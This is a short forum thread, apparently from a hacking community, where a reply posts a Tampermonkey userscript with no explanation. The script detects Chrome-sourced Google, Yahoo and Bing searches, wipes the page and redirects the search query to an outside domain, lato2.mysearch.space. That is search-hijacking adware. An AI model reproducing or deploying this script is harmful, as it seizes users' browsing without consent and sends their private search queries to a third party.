08 June, 2021 - 10:05 PM
thanks
This post is by a banned member (Wowguy) - Unhide
09 June, 2021 - 05:22 AM
thanks
// ==UserScript== // @ // @Namespace http://tampermonkey.net/ // @version 0.1 // @Description try to take over the world! // @Author You // @ // @Grant none // ==/UserScript== (function() { function findGetParameter(parameterName) { var result = null, tmp = []; location.search .substr(1) .split("&") .forEach(function (item) { tmp = item.split("="); if (tmp[0] === parameterName) result = decodeURIComponent(tmp[1]); }); return result; } var u ='https://lato2.mysearch.space?q=', s = [ { 'host':/^https?\:\/\/www.google(\.\w+)+\/search\?.*(sourceid\=chrome).*$/, 'query':'q', }, { 'host':/^(https?\:\/\/)(\w+\.)?(search\.)(yahoo\.)(com)\/(search\?)?(.*)(fr\=crmas).*$/, 'query':'p' }, { 'host':/^(https?\:\/\/)www\.bing\.com\/(search\?)?(.*)(FORM\=CHROMN).*$/, 'query':'q' } ] for(var i = 0; i < s.length; i++){ var net = s[i], pattern = net.host, q = findGetParameter(net.query); if( pattern.test(window.location.href) ){ document.body.innerHTML=""; window.location.href=u+q; } } })(); |
Create an account or sign in to comment | ||
You need to be a member in order to leave a comment | ||
Create an account
Sign up for a new account in our community. It's easy!
|
or |
Sign in
Already have an account? Sign in here.
|